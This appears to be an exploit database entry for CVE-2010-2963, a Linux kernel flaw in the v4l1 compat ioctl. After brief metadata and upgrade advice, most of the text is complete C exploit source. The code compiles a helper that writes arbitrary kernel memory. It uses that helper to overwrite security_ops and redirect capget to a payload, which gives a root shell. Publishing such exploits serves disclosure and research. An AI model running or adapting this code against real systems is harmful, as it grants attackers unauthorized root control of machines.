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Linux Kernel
by:
Kees Cook
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CVSS
HIGH
Arbitrary write memory write via v4l1 compat ioctl
119
CWE
Product Name: Linux Kernel
Affected Version From: Linux kernels prior to 2.6.36
Affected Version To: Linux kernels prior to 2.6.36
Patch Exists: YES
Related CWE: CVE-2010-2963
CPE: o:linux:linux_kernel
Other Scripts: N/A
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Platforms Tested: Linux
2010

Vyakarana: Linux v4l1 compat ioctl arbitrary memory write

Vyakarana is a Linux kernel vulnerability that allows an attacker to write arbitrary data to kernel memory via the v4l1 compat ioctl. This vulnerability was discovered by Kees Cook and affects Linux kernels prior to 2.6.36.

Mitigation:

Upgrade to Linux kernel version 2.6.36 or later.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/44242/info
/*
 * CVE-2010-2963
 * Arbitrary write memory write via v4l1 compat ioctl.
 * Kees Cook <kees@ubuntu.com>
 *
 * greets to drosenberg, spender, taviso
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include "exp_framework.h"

#include <stdint.h>
#include <string.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <linux/videodev.h>
#include <syscall.h>

#include <sys/capability.h>
struct cap_header_t {
    uint32_t version;
    int pid;
};

#define DEVICE "/dev/video0"

struct exploit_state *exp_state;

char *desc = "Vyakarana: Linux v4l1 compat ioctl arbitrary memory write";
int requires_null_page = 0;

int built = 0;

int super_memcpy(unsigned long destination, void *source, int length)
{
    struct video_code vc = { };
    struct video_tuner tuner = { };
    int dev;
    unsigned int code;
    char cmd[80];

    if (!built) {
        FILE *source;
        char *sourcecode = "/*\n\
 * CVE-2010-2963: Write kernel memory via v4l compat ioctl.\n\
 * Oct 11, 2010  Kees Cook <kees@ubuntu.com>\n\
 *\n\
 */\n\
#define _GNU_SOURCE\n\
#include <stdio.h>\n\
#include <stdlib.h>\n\
#include <stdint.h>\n\
#include <unistd.h>\n\
#include <sys/types.h>\n\
#include <sys/stat.h>\n\
#include <fcntl.h>\n\
#include <string.h>\n\
#include <sys/ioctl.h>\n\
#include <sys/mman.h>\n\
#include <assert.h>\n\
#include <malloc.h>\n\
#include <sys/types.h>\n\
#include <linux/videodev.h>\n\
#include <syscall.h>\n\
\n\
#define DEVICE \"/dev/video0\"\n\
\n\
struct video_code32 {\n\
        char            loadwhat[16];\n\
        int             datasize;\n\
        int             padding;\n\
        uint64_t        data;\n\
};\n\
\n\
int super_memcpy(uint64_t destination, void *source, int length)\n\
{\n\
    struct video_code32 vc = { };\n\
    struct video_tuner tuner = { };\n\
    int dev;\n\
    unsigned int code;\n\
\n\
    if ( (dev=open(DEVICE, O_RDWR)) < 0) {\n\
        perror(DEVICE);\n\
        return 1;\n\
    }\n\
\n\
    vc.datasize = length;\n\
    vc.data = (uint64_t)(uintptr_t)source;\n\
\n\
    memset(&tuner, 0xBB, sizeof(tuner));\n\
\n\
    // manual union, since a real union won't do ptrs for 64bit\n\
    uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));\n\
    *ptr = destination;\n\
\n\
    // beat memory into the stack...\n\
    code = VIDIOCSTUNER;\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
    syscall(54, dev, code, &tuner);\n\
\n\
    code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)\n\
    syscall(54, dev, code, &vc);\n\
\n\
    return 0;\n\
}\n\
\n\
int main(int argc, char *argv[])\n\
{\n\
    uint64_t destination = strtoull(argv[1], NULL, 16);\n\
    uint64_t value = strtoull(argv[2], NULL, 16);\n\
    int length = atoi(argv[3]);\n\
    if (length > sizeof(value))\n\
        length = sizeof(value);\n\
    return super_memcpy(destination, &value, length);\n\
}\n\
";

        if (!(source = fopen("vyakarana.c","w"))) {
            fprintf(stderr, "cannot write source\n");
            return 1;
        }
        fwrite(sourcecode, strlen(sourcecode), 1, source);
        fclose(source);
        if (system("gcc -Wall -m32 vyakarana.c -o vyakarana") != 0) {
            fprintf(stderr, "cannot build source\n");
            return 1;
        }
        built = 1;
    }

    printf("Writing to %p (len %d): ", (void*)destination, length);
    for (dev=0; dev<length; dev++) {
        printf("0x%02x ", *((unsigned char*)source+dev));
    }
    printf("\n");

    sprintf(cmd, "./vyakarana %lx %lx 8", (uint64_t)(uintptr_t)destination, *(uint64_t*)source);
    return system(cmd);
}

int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}

unsigned long default_sec;
unsigned long target;
unsigned long restore;

int prepare(unsigned char *buf)
{
    unsigned long addr;

    if (sizeof(long)!=8) {
        printf("Not enough bits\n");
        return 1;
    }

    printf("Reticulating splines...\n");

    addr = exp_state->get_kernel_sym("security_ops");
    default_sec = exp_state->get_kernel_sym("default_security_ops");
    restore = exp_state->get_kernel_sym("cap_capget");

    // reset security_ops
    super_memcpy(addr, &default_sec, sizeof(void*));

    // aim capget to enlightenment payload
    target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*));
    super_memcpy(target, &(exp_state->own_the_kernel), sizeof(void*));

    return 0;
}

int trigger(void)
{
    struct cap_header_t hdr;
    uint32_t data[3];

    printf("Skipping school...\n");

    hdr.version = _LINUX_CAPABILITY_VERSION_1;
    hdr.pid = 1;
    capget((cap_user_header_t)&hdr, (cap_user_data_t)data);

    return 1;
}

int post(void)
{
    printf("Restoring grammar...\n");

    // restore security op pointer
    super_memcpy(target, &restore, sizeof(void*));

    return RUN_ROOTSHELL;
}